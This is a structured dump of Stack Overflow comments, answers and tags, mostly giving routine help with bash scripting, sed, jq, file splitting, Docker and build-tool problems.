type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135919607
type: Comment
has text: just noticed this doesn't strip the `.fasta` extension, so this isn't quite right according to the test output, although it corresponds to the code attempts
type: AnswerComment
comment on: http://stackoverflow.com/a/77097601
score: 0

http://stackoverflow.com/a/77146463
answers question: http://stackoverflow.com/q/77141159
has body: Assuming the another_value line does not appear before the my_value line, how about a sed solution: export variable="something" sed -n "/my_value=$variable/,/^$/p" file | sed "/another_value/!d;s/.*=//"
score: 0
type: Answer

http://stackoverflow.com/comment/136017808
score: 0
comment on: http://stackoverflow.com/q/77155640
has text: The json file contains double quotes, but no single quotes, and you don't want any substitutions to occur in the json text. The simplest solution would be to use single quotes for your `echo` instead of double quotes.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136124188
has text: Thank you. The marked answer combined with `eval` is the solution. `parallel --colsep ',' 'eval mkdir -p {=5 uq(); =}' :::: data.csv`
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77201523

http://stackoverflow.com/comment/135888583
comment on: http://stackoverflow.com/q/77082545
type: Comment
has text: @JérémyCaré I have 10240MB of ephemeral storage. And it does succeed in the end...
type: QuestionComment
score: 0

http://stackoverflow.com/a/77173810
type: Answer
score: 0
has body: Splitting a line-based file into byte-sized chunks will most likely corrupt the data. Use the -l NUM switch to split on line-endings. Assuming an average line-length of 10 bytes, you want to split into files of 500k lines. In case you are using GNU coreutils split, you have the --filter switch which could be used like this: sed '1d;$d' infile | split -l 500k --filter '{ head -n1 infile; cat; printf "T|%d\n" 500000; } > $FILE'
answers question: http://stackoverflow.com/q/77171157

http://stackoverflow.com/comment/136100838
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77200980
has text: Since you're using fixed names, consider NOT appending when writing the header. `cat /tmp/header.csv > /tmp/merged_file.csv` - In fact, this is a case where I might explicitly use a forced-truncating write just to be self-documenting: `cat /tmp/header.csv >| /tmp/merged_file.csv` (This truncates even if you have `set -o noclobber`.)

http://stackoverflow.com/comment/136108611
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77206252
has text: `set -u` is your friend, as is `set -x` to turn on tracing in Bash. And shellcheck is another friend - get your sysadmin to install it, or submit your code to the online service that can run it for you.

http://stackoverflow.com/a/77217940
has body: Assign the result of dig to a variable, then you can check if the variable is empty. #!/usr/bin/bash while read line do host=$(dig +noall +noidnin +answer -x "$line" | awk '{print $5}') echo "$line ${host:-unknown}" done < linux.hosts > outputfile ${host:-unknown} substitutes unknown in the expansion if the variable is empty.
answers question: http://stackoverflow.com/q/77217599
score: 1
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/136081085
comment on: http://stackoverflow.com/a/77190915
score: 0
type: Comment
type: AnswerComment
has text: I see. Thanks. Yes exporting worked because it makes the function available to the sub-shell.

http://stackoverflow.com/comment/135982726
score: 0
has text: @shellter Got it, thanks. Final line executed looks right. It seems that I chain command options somehow incorrectly, because `gnome-terminal --window --tab --tab` works fine and when adding a command to execute within each tab bash it opens only one tab and ignores the rest
type: QuestionComment
comment on: http://stackoverflow.com/q/77135598
type: Comment

http://stackoverflow.com/comment/136039509
comment on: http://stackoverflow.com/q/77168035
score: 1
type: QuestionComment
has text: @F.Hauri-GiveUpGitHub, note that this is a fish question, not a bash question. (The OP really shouldn't be tagging it bash; I've edited accordingly).
type: Comment

http://stackoverflow.com/a/77170154
has body: What I would do: read n < <(stat -c %s file) bc <<< "scale=0; $n/1024/1024"
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/77170124
type: Answer

http://stackoverflow.com/comment/136040144
type: Comment
score: 0
has text: It's not working
comment on: http://stackoverflow.com/a/77158108
type: AnswerComment

http://stackoverflow.com/comment/136028613
has text: `$(find ...)` returns a string. the shell splits that string into "words" and then assigns them one at a time to `d`. that's why quoting `$d` later doesn't make any difference
comment on: http://stackoverflow.com/q/77161643
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/a/77210481
has body: Windows doesn't use shell files You need to use the included windows\kafka-topics.bat script Or you need to run the shell script (and Kafka) in WSL2, Docker, or a Linux VM, etc
score: 0
answers question: http://stackoverflow.com/q/77209109
type: Answer

http://stackoverflow.com/comment/135893592
score: 0
type: QuestionComment
has text: @user1934428 Haha, I can understand the feeling of that one development only works for one version. That's bad indeed. Thank you for your input.
type: Comment
comment on: http://stackoverflow.com/q/77079649

http://stackoverflow.com/comment/135953544
has text: Please no cross-posting: https://askubuntu.com/q/1486030/336375
comment on: http://stackoverflow.com/q/77120045
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/135898212
type: Comment
comment on: http://stackoverflow.com/a/77088437
type: AnswerComment
score: 0
has text: Do you think this is a duplicate of [How to include files outside of Docker's build context?](https://stackoverflow.com/questions/27068596/how-to-include-files-outside-of-dockers-build-context)

http://stackoverflow.com/comment/138452382
type: QuestionComment
type: Comment
has text: @CharlesDuffy : Just my personal opinion: If I would get some POSIX shell program, I would not try to run it in POSIX-mode (of zsh or bash), because it is close, but not identical. For what I know, `dash` is the implementation which is closest to original, so it is IMO ideal for testing POSIX scripts. When writing new scripts, I don't see much benefit in sticking with POSIX, even with portability in mind: Platforms which don't have zsh or bash, seem to be pretty rare.
score: 0
comment on: http://stackoverflow.com/q/77118220

http://stackoverflow.com/comment/135945453
comment on: http://stackoverflow.com/q/77115001
type: Comment
has text: There is no PID 0. This situation must mean that the signal didn't come from a process. Which is the case. TTY signals are generated by the TTY subsystem in the kernel, not by a specific process.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135889984
comment on: http://stackoverflow.com/q/77082545
has text: From the page I posted ```EFS offers two performance modes – general purpose and MaxIO. General purpose is suitable for most Lambda workloads, providing lower operational latency and higher performance for individual files.``` I guess it doesn't hurt to give it a try.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/136069927
score: 0
has text: How did you arrive at `break 2` before learning about just `break`? It's odd that the only thing wrong is that we have to delete the `2` in your script; what led you to add that?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77184696

sqlcl
tag name: sqlcl
tags question: http://stackoverflow.com/q/77192256
type: Tag

http://stackoverflow.com/comment/135937236
type: Comment
comment on: http://stackoverflow.com/q/77105912
type: QuestionComment
has text: You are running a PowerShell prompt inside the Terminal window. PowerShell does not recognise `ls -a` because that's a Unix command. How are you managing to get `ls -a` to work from the command prompt? You must be running some other shell from the command prompt, such as Mingw/Git Bash. Run that shell from the IntelliJ terminal window too.
score: 0

http://stackoverflow.com/comment/135910834
type: QuestionComment
has text: @GordonDavisson thanks, I tried this, python3 /absolute path/to/file/myfile.py >> log_script.txt 2?&1, still nothing in the log file
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77095520

http://stackoverflow.com/comment/135910483
comment on: http://stackoverflow.com/q/77095262
has text: Shell has no support for json, and no support for datastructures. The best you would do in shell, you would run an external program, like `jq` to do the work. You might as well run an external program called `python` to do the job.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135964693
score: 0
type: QuestionComment
has text: i use redirection on psql command but other things are copied into file (query and other command in sql file)
type: Comment
comment on: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/136118389
comment on: http://stackoverflow.com/a/77211956
type: Comment
score: 0
type: AnswerComment
has text: Ah, running with zsh worked, thank you!

http://stackoverflow.com/comment/136147460
has text: This does not fix it for me, I'm getting a `fatal error: 'tesseract/baseapi.h' file not found` error when I use this exact `CMakeLists.txt`
comment on: http://stackoverflow.com/a/77224596
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135979264
type: QuestionComment
has text: The `-` was only an example. If the file has a pattern line `abc.ef`, and your file has a `abcdef` it would match as well. But well, you have to decide whether or not you want to catch such potential bugs.
comment on: http://stackoverflow.com/q/77129396
type: Comment
score: 0

http://stackoverflow.com/comment/136118678
has text: `yq '.[].people |= .[:1] + (.[1:] | sort_by(.name))' file.yml` nails it. Big thanks.
comment on: http://stackoverflow.com/a/77211913
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136105747
has text: ...and they also didn't add their distro. _We don't know_, so we shouldn't assume. (Add a caveat like "on distributions using GNU grep with libpcre," to your answer, and this would all be moot).
score: 0
comment on: http://stackoverflow.com/a/77204784
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77084627
has body: If you want to see what's being executed, you can set -x: #!/bin/bash set -x . include/this/script.sh . include/this/other/script.sh foo="foo$bar" echo $foo set -x - After expanding each simple command, for command, case command, select command, or arithmetic for command, display the expanded value of PS4, followed by the command and its expanded arguments or associated word list.
upvote count: 1
answers question: http://stackoverflow.com/q/77084586
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/136019018
has text: The output files are getting generated as testaa, testab, testac etc
comment on: http://stackoverflow.com/q/77156311
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136041093
has text: Remember, Apple has its own reinforcement on top of the basic UNIX permissions model. When you run a script from a terminal, it inherits approvals you granted that terminal (to access your Desktop directory, f/e).
type: QuestionComment
comment on: http://stackoverflow.com/q/77168940
type: Comment
score: 0

http://stackoverflow.com/comment/135986347
type: QuestionComment
score: 2
type: Comment
has text: "The problem seems to come from the "Unix Makefiles" generator" - Yes, that generator is for pure Linux environment. It is NOT MinGW, and it is never suited for MinGW compiler. "I made the choice of this generator because it is compatible between windows and linux, so my program was cross-platform." - This is wrong. You cannot compile the program once and run it under Windows and Linux. You need to have 2 different builds for that (with different generator/compiler).
comment on: http://stackoverflow.com/q/77138083

http://stackoverflow.com/a/77187182
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/77187096
has body: You could use a regex with a word boundary: $ echo '["aa", "bb", "cc"]' | jq -r '.[] | test(["\\baa\\b"]) | tostring | select(. == "true")' true $ echo '["aa", "bb", "cc"]' | jq -r '.[] | test(["\\ba\\b"]) | tostring | select(. == "true")'
accepted answer of: http://stackoverflow.com/q/77187096
score: 1
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/comment/136120927
type: QuestionComment
comment on: http://stackoverflow.com/q/77212721
score: 0
has text: MVCE required: minimal, complete, verifiable example (including not only code but sample input and output, as applicable) that anyone can run to reproduce the problem.
type: Comment

http://stackoverflow.com/a/77095042
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/77094897
has body: fgets is a string file function and \0 has a very special meaning in C strings. That is the reason why it does not work as you think it should. Do not string functions if your file is not properly formatted. You need to treat this file as a binary file and read it accordingly
score: 1
type: Answer

http://stackoverflow.com/comment/136046965
has text: I'm not sure I understood. Do you want to remove the `"required"` field from the JSON, or the whole property / object associated to it?
comment on: http://stackoverflow.com/q/77171901
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/136157446
comment on: http://stackoverflow.com/q/77233116
score: 1
type: QuestionComment
type: Comment
has text: Cloning seems like overkill if you just want to see if a branch exists - `git ls-remote $URL` would be faster, and it'll also tell you the commit at the head of each branch.

http://stackoverflow.com/comment/136111363
type: Comment
type: AnswerComment
has text: @langepass88 does something prevent you writing a multi-line, easy to read, script and simply running `bash /path/to/script` as your "one-line"?
score: 0
comment on: http://stackoverflow.com/a/77205722

http://stackoverflow.com/a/77231508
type: Answer
answers question: http://stackoverflow.com/q/77231507
has body: I did not find a satisfactory solution. First hackish solution: requires to modify the jamroot by adding at the end (i.e. after variable is set): import os ; local B2_DISPLAY_VARIABLE_AND_EXIT = [ os.environ B2_DISPLAY_VARIABLE_AND_EXIT ] ; if $(B2_DISPLAY_VARIABLE_AND_EXIT)-not-empty { echo $($(B2_DISPLAY_VARIABLE_AND_EXIT)) ; exit ; } then run b2 with the environment variable set: B2_DISPLAY_VARIABLE_AND_EXIT=MY_VARIABLE b2 Second hackish solution: requires to generate a custom file below the jamroot custom.jam (generate it using the shell): echo $(MY_VARIABLE) ; exit ; then run b2 with: b2 -sJAMFILE=custom.jam and then rm custom.jam JAMFILE is a special variable which for some reason is not mentioned in the new doc. Remark These solutions do not work if the variable is set from a jamfile. It may be possible to adapt the first solution using a custom target that would be called on the jamfile.
score: 0

http://stackoverflow.com/comment/135890852
score: 0
comment on: http://stackoverflow.com/q/77082516
type: QuestionComment
type: Comment
has text: It works fine locally, I want to run it on k8s

http://stackoverflow.com/comment/135962807
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/77124990
score: 0
has text: Run the command from your shell and use ´>>` to append its stdout to the file of your choice.

bundle-identifier
tag name: bundle-identifier
tags question: http://stackoverflow.com/q/77155986
type: Tag

http://stackoverflow.com/a/79181865
type: Answer
score: 0
has body: Maybe you can create a function: #!/usr/bin/env bash # Function to convert a given date to UTC convert_to_utc() { local input_date="$1" # Convert to UTC and format the output utc_date=$(date -u -d "$input_date" +"%Y-%m-%d %H:%M:%S UTC") # Check if the conversion was successful $? -ne 0 && return 1 # Output the converted UTC date echo "$utc_date" } # Example usage: result=$(convert_to_utc "2024-11-12 15:30:00") Explained: Functions in BASH come back in the form of the 'echo', the return status can be checked if the command failed by checking for $? after the caommand is executed. Also if the conversion fails it will return an empty string which can be checked...
answers question: http://stackoverflow.com/q/77102508

http://stackoverflow.com/comment/135906954
score: 0
has text: (2) Instead of using `.x[] | select`, consider `.x | to_entries | select`; you can make your select operate only on the `.value` part but you avoid throwing away the `.key` part.
comment on: http://stackoverflow.com/q/77093338
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136011571
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77152224
type: QuestionComment
has text: `bash -c "./script-test.sh '$dbpassword'"`. Then in the script you need `sqlplus "username/$new_pwd"`

http://stackoverflow.com/a/77092712
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/77060368
answers question: http://stackoverflow.com/q/77060368
type: Answer
has body: The first three fields are white-space delimited and the last one takes the rest, so you could do something like this: while read -r a b c d do printf '%s,%s,%s,%s\n' "$a" "$b" "$c" "$d" done < file.txt name,roleTemplateAppId,roleTemplateName,description AccessAllAccessPoliciesArtifacts,it!b2455,AccessAllAccessPoliciesArtifacts,Role for accessing artifacts despite access policies are maintained AccessPoliciesEdit,it!b2455,AccessPoliciesEdit,Role for maintaining/creating access policies AccessPoliciesRead,it!b2455,AccessPoliciesRead,Role for reading access policies

http://stackoverflow.com/comment/136034677
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77165072
score: 0
has text: Thanks that works as well as my edited original question where I manually put in literal " into what will be written in myfindloop.sh . Even when both versions work **I prefer yours** since `printf` is more capable when it comes to many things than a mere `echo` (string manipulation being just one of these).

http://stackoverflow.com/comment/135985369
type: Comment
comment on: http://stackoverflow.com/q/77135598
score: 0
type: QuestionComment
has text: And .... one more thing (-;! .. Consider getting your tabbed windows using `screen` or `tmux`. (I believe `tmux` tabs look more like a window's tab). That is, start your gnome-terminal, but then call `screen/tmux` to actually create your tabs (interal to those apps). Using these have the feature of leaving your workspace in place, even if you disconnect and later connect again (using `screen -r`). Your use case may dictate otherwise. Good luck!

http://stackoverflow.com/comment/136091511
score: 0
has text: This link didn't really help me. What can I do?
type: Comment
comment on: http://stackoverflow.com/a/77196684
type: AnswerComment

http://stackoverflow.com/comment/135971828
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77124850
has text: [There](https://stackoverflow.com/help/formatting) you will find information on how to format your question with Markdown.

http://stackoverflow.com/a/77171753
score: 0
has body: I was able to fix this using following steps: brew uninstall --ignore-dependencies libimobiledevice brew uninstall --ignore-dependencies ideviceinstaller brew uninstall --ignore-dependencies usbmuxd brew uninstall --ignore-dependencies libplist sudo rm /var/db/lockdown/* brew install --HEAD libplist brew install --HEAD usbmuxd brew unlink usbmuxd brew link usbmuxd brew install --HEAD libimobiledevice brew install --HEAD ideviceinstaller
answers question: http://stackoverflow.com/q/77155986
type: Answer

http://stackoverflow.com/comment/136008522
score: 0
has text: I know that exporting an environment variable has the same effect whether I choose `.zshrc` or `.bashrc`. Don't get me wrong, it's different from my problem.
comment on: http://stackoverflow.com/a/77147299
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136046229
type: Comment
comment on: http://stackoverflow.com/q/77171720
has text: Hi there, would you able to check the Pod Log files - is the running ??
score: 0
type: QuestionComment

http://stackoverflow.com/a/77145366
has body: The insight given by @Matthew Schuchard is correct. It helped me identify what the issue exactly was. I only had to make further small modification to get the NVM commands executed and the variable build_tag substituted as - sh """ export NVM_DIR="\$HOME/.nvm" [ -s "\$NVM_DIR/nvm.sh" ] && . "\$NVM_DIR/nvm.sh" [ -s "\$NVM_DIR/bash_completion" ] && . "\$NVM_DIR/bash_completion" snyk container test ${hub_org}/player:${build_tag} --json | snyk-to-html -d -o snyk_results.html """
accepted answer of: http://stackoverflow.com/q/77144870
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/77144870
type: Answer

http://stackoverflow.com/comment/136017848
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77155640
has text: @Shawn: I don't understand, how would you solve the problem? You can give an example.
type: QuestionComment

http://stackoverflow.com/comment/136080416
comment on: http://stackoverflow.com/a/77188909
has text: @SamuelMikhael you can add a condition to exit the loop once the message has been forwarded, I will update my answer.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/77095582
score: 1
has body: tokens = p_reallocdp(tokens, ((idx + 1) * sizeof(char *))) for (i = 0; i &lt; dest; i++) newptr[i] = ptr[i]; /* line 66 */ There are no dest elements in ptr. There is the previous count of elements in ptr elements. And you have to copy previous count of elements from ptr, not the future count of bytes of elements from ptr. In your code it looks like, dest represents the future the number of bytes the returned pointer will point to. There are no dest char * pointers in the memory, there are dest bytes. There will be dest / sizeof(char*) elements. The way realloc works is that C standard library is internally keeping the size of allocated memory and can get the old size. The way realloc works, is that it copies bytes from one memory region to another, not char * elements. You have to refactor your code to for example p_reallocdp(char **, size_t oldcnt, size_t newcnt) and call with p_reallocdp(tokens, idx, idx + 1); for example. Or you could use a sentinel value of NULL in char **tokens array and get the previous count of elements in the array by traversing the array until NULL. Or you could refactor your code to a full OOP struct tokens_s { char **tokens; size_t cnt; }; and do int tokens_realloc(struct tokens_s *p, size_t newcnt); and keep the old size with the toksn in one place.
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77095231
downvote count: 0

http://stackoverflow.com/comment/135957704
type: Comment
type: AnswerComment
has text: Sure 'it works' ^^
score: 0
comment on: http://stackoverflow.com/a/77121813

http://stackoverflow.com/comment/135981852
type: QuestionComment
comment on: http://stackoverflow.com/q/77070425
type: Comment
score: 0
has text: Thank you I'll try it, if It will be necessary I'll ask for more help

http://stackoverflow.com/comment/135914456
has text: Otherwise known as [Decorate-Sort-Undecorate](https://en.wikipedia.org/wiki/Schwartzian_transform) You can also use a `\t` with a pipe line this: `sed -E 's/(^.{3}(.*))/\2\t\1/' file | sort | sed 's/^[^\t]*\t//'`
comment on: http://stackoverflow.com/a/77096426
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135884680
has text: They aren't "correct", they are opinions. (Their documentation makes justifications for them.)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77079666

http://stackoverflow.com/comment/135884656
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77079666
has text: Thank you for the first answer. If it all has based the author's/contributor's opintions, how could we say the author's/contributor's opinions are all correct? Maybe it sounds unnecessary that the endorsement is needed, but I think this could be more convincing.
score: 0

http://stackoverflow.com/comment/136142482
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77224625
score: 1
has text: Please show what you tried.

http://stackoverflow.com/comment/135979558
has text: I am unable to repro that. With `FROM ubuntu:latest` `SHELL ["bash", "-c"]` `RUN echo hello && echo $_ >file` I see `hello` when I build and then run the image and `cat file`
score: 0
comment on: http://stackoverflow.com/a/77121277
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77157048
score: 3
upvote count: 3
has body: The trace is pretty obvious: ++ sshpass -e ssh $'mynewuser@192.168.10.4\r' -o 'ConnectTimeout 3' 'uname -sn' So you have a carriage return character after the IP address. You get the IP address from cat $1 which means that the file named by $1 has a carriage return. Since $1 is the first named parameter to your script, it means that this file is in error. Either pass a different (and correct) file to your script or remove the carriage returns from that file. An alternative would be to manually remove the carriage return(s) from the IP address in your script: IP=${IP//$'\r'/}
answers question: http://stackoverflow.com/q/77156832
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/136020792

hex
tags question: http://stackoverflow.com/q/77083852
type: Tag
tag name: hex
tags question: http://stackoverflow.com/q/78808564

http://stackoverflow.com/comment/135937229
score: 0
has text: If I try to save log file in /home/pi/Shared folder: `./SysmacApp.sh: line 42: run: command not found`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77110538

http://stackoverflow.com/comment/136045807
type: Comment
type: AnswerComment
has text: And I need the file size to be of 5MB even after adding the header and trailer
comment on: http://stackoverflow.com/a/77171386
score: 0

http://stackoverflow.com/comment/135963385
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77124913
score: 0
has text: @MarkSetchell Thank you for your comment. I've cited them in my answer!

http://stackoverflow.com/comment/136158862
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77233116
has text: @JimRedmond I used `gh repo clone` because the script is actually executed by GitHub Actions. I can simply setup a GitHub App to authenticate to my organisation, and use gh cli with the generated token to get the git info for each repository. If I use `git ls-remote` command directly, I would need to download the private key and setup SSH config during the workflow.

http://stackoverflow.com/comment/136039604
score: 0
has text: @F.Hauri-GiveUpGitHub, the shell tag says it should be assumed to be POSIX _if the OP tags no other shells_, but it's allowable for non-POSIX shells if such a shell is tagged explicitly.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77168035

http://stackoverflow.com/comment/135978847
type: QuestionComment
comment on: http://stackoverflow.com/q/77132631
score: 0
type: Comment
has text: This forum exists to help people with their code, not as a free coding service. See [ask].

http://stackoverflow.com/comment/135977953
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77129396
score: 0
has text: `grep -irwnF -f in.txt /home/user/folder > out.txt`

http://stackoverflow.com/comment/136105759
score: 0
has text: There is little chance OP is in docker even less on alpine.
comment on: http://stackoverflow.com/a/77204784
type: Comment
type: AnswerComment

aws-sam-cli
tag name: aws-sam-cli
tags question: http://stackoverflow.com/q/77082545
type: Tag

http://stackoverflow.com/comment/135957636
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77121828
type: AnswerComment
has text: @dawg Thank you guys for the valuable instructions. I tried all the methods you guys posted. Worked!

http://stackoverflow.com/comment/136037403
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77165700
type: Comment
has text: Your second part of the string is not OK. if you want to use f-string formatting, you have to prefix the string with `f`. Please note that using `{` is tricky, it has to be doubles. Also watch out for possible injections.

http://stackoverflow.com/comment/135997970
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77141212
has text: The awk doesn’t return anything :o
score: 0

http://stackoverflow.com/a/77233826
downvote count: 0
upvote count: 1
type: Answer
score: 1
has body: The error message you're encountering, "thesorter not found," is likely due to the placement of your thesorter function. Bash functions should be defined before they are called. In your script, you have defined the thesorter function inside an elif block, which means it will only be defined if the condition in that elif block is met. If none of the conditions leading to the elif block is met, the function will not be defined, and you'll get the "command not found" error when you try to call it. To fix this issue, you should define the thesorter function before the conditional statements. Here's the modified script: #!/bin/bash # Define the thesorter function before conditional statements function thesorter() { mkdir "$2" cd "$2" || exit 1 path2=$(pwd) cd - || exit 1 cd "$1" || exit 2 i=1 for file in $(ls -r) do cp "$file" "$path2/$((i++)).$file" done } sourcedir="$1" targetdir="$2" if [[ $# != 2 ]] then echo -e "Error: Expected two input parameters.\nUsage: ./sortedcopy.sh <sourcedirectory> <targetdirectory>" exit 1 elif ! -d $1 then echo -e "Error: Input parameter #1 '$1' is not a directory.\nUsage: ./sortedcopy.sh <sourcedirectory> <targetdirectory>" exit 2 elif ! -d $2 then thesorter "$sourcedir" "$targetdir" else echo "Directory '$2' already exists. Overwrite? (y/n)" read -r answer if $answer = y then rm -r "$2" thesorter "$sourcedir" "$targetdir" fi exit 3 fi In this modified script, the thesorter function is defined at the beginning, ensuring it's available for use throughout the script. Also, I made some minor improvements to handle directory paths with spaces correctly by wrapping them in double quotes.
answers question: http://stackoverflow.com/q/77233783

http://stackoverflow.com/comment/136081050
comment on: http://stackoverflow.com/a/77190915
has text: @CharlesDuffy Right. If you do the same experiment with my alternate function name `testfn` you get the expected "testfn: command not found" error if you don't export .
score: 1
type: Comment
type: AnswerComment

prefix
tag name: prefix
type: Tag
tags question: http://stackoverflow.com/q/77096322

http://stackoverflow.com/comment/135919683
has text: Do you want the file to be run on the server hosting the backend - or on the client machine clicking the link? The later is hopefully NOT possible without confirmation in ANY way :P
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment

http://stackoverflow.com/comment/136092517
has text: You should quote the variable `eval "$finalcommand"`
comment on: http://stackoverflow.com/q/77197549
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136018880
type: Comment
has text: Did get what exactly you're asking for @Renaud
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77156311

http://stackoverflow.com/comment/136020780
score: 0
has text: Thank you, its actually issue with input file , not sure how it converted to dos
comment on: http://stackoverflow.com/a/77156903
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135938617
score: 0
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment
has text: Ok that's good. If your solution is useful for others then please feel free to post it as an answer below - see also [answer].
type: Comment

http://stackoverflow.com/comment/136148079
score: 0
comment on: http://stackoverflow.com/q/77226745
type: QuestionComment
type: Comment
has text: I quoted with double quotes when its reading variable inside the script. But while passing in Rundeck option I simply entered as `0 * * * *` and executed the job. Do i need to add quotes even in Rundeck option too?

http://stackoverflow.com/a/77208491
has comment: http://stackoverflow.com/comment/136112346
score: 0
has body: #!/bin/bash Your script wants to start bash. There is no bash installed in docker alpine image. Install bash or change the script to sh.
type: Answer
answers question: http://stackoverflow.com/q/77208432

http://stackoverflow.com/a/77114956
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77114954
has body: I installed direnv with Homebrew. Homebrew itself was Rosetta enabled, running brew config will output Rosetta: true. I fixed the problem by doing the following: Uninstall homebrew with the instructions here. Reinstall homebrew with the instructions here Reinstall direnv with homebrew: brew install direnv Hope this helps others running into the same problem.
accepted answer of: http://stackoverflow.com/q/77114954
type: AcceptedAnswer

http://stackoverflow.com/comment/136090005
has text: @Freeman your solution is working well, thank you.
score: 1
comment on: http://stackoverflow.com/a/77188909
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136032385
comment on: http://stackoverflow.com/q/77161643
type: QuestionComment
has text: **@jhnc** I will try _for d in */_ and _"${d%/}"_ and _setting nullglob_. Thanks for all these infos.
score: 0
type: Comment

http://stackoverflow.com/comment/135960961
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77121821
has text: Either you did something wrong when copy/pasting my code or your other files also have Windows line endings that are causing line wrapping (see the link I gave you) - fix those too.
type: AnswerComment

http://stackoverflow.com/comment/136070265
score: 2
comment on: http://stackoverflow.com/q/77185038
has text: So don't use associative array, but simple array with numeric keys
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135911123
comment on: http://stackoverflow.com/a/77095729
type: Comment
type: AnswerComment
score: 0
has text: output sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudo: a password is required

http://stackoverflow.com/comment/136080529
has text: You need `$(declare -f funcname)` to be run by your **local** shell, not the shell started by xargs. After all, the whole reason you're doing this is because the shell started by xargs doesn't know the function exists!
comment on: http://stackoverflow.com/q/77190844
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135958442
score: 1
type: QuestionComment
has text: BTW, your sample input _doesn't_ contain `"text 5.0"` -- it contains `"text5" "0"`, but that's a different string.
type: Comment
comment on: http://stackoverflow.com/q/77122868

http://stackoverflow.com/a/77143319
answers question: http://stackoverflow.com/q/77132645
upvote count: 20
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/137292062
accepted answer of: http://stackoverflow.com/q/77132645
downvote count: 0
has body: ENABLE_USER_SCRIPT_SANDBOXING needs to be no same question here: error while build iOS app in Xcode : Sandbox: rsync.samba (13105) deny(1) file-write-create, Flutter failed to write to a file
has comment: http://stackoverflow.com/comment/136096459
score: 20
type: Answer

http://stackoverflow.com/comment/135978328
has text: WHen you say [there is no "-" only "."](https://stackoverflow.com/questions/77129396/shell-or-bash-script-input-a-string-line-from-a-text-file-and-search-it-recursi?noredirect=1#comment135977705_77129396) - are you referring to the contents of the file that has the list of strings to search for or the contents of the file that needs to be searched for those strings? Providing a [mcve] so we have an idea what we're dealing with would be enormously helpful.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77129396

http://stackoverflow.com/comment/135977779
comment on: http://stackoverflow.com/q/77133248
type: QuestionComment
type: Comment
score: 0
has text: Those 2 commands that you have in your file are not shell commands. They're parameters for whatever is defined as the entrypoint in the container. I doubt that entrypoint would accept your `sh` command.

http://stackoverflow.com/comment/135962998
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77124679
has text: This is a security feature which can not be disabled permanently for a good reason.
type: QuestionComment

http://stackoverflow.com/comment/135890586
has text: You learn something new every day. Thanks a ton!
score: 0
comment on: http://stackoverflow.com/a/77083971
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136140657
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77220965
score: 1
has text: Note 2 is well taken, may even want to include the fact the result of `find` will be unsorted to emphasize the point the user may want to adjust sorting ....

http://stackoverflow.com/comment/135999248
type: Comment
comment on: http://stackoverflow.com/a/77145348
type: AnswerComment
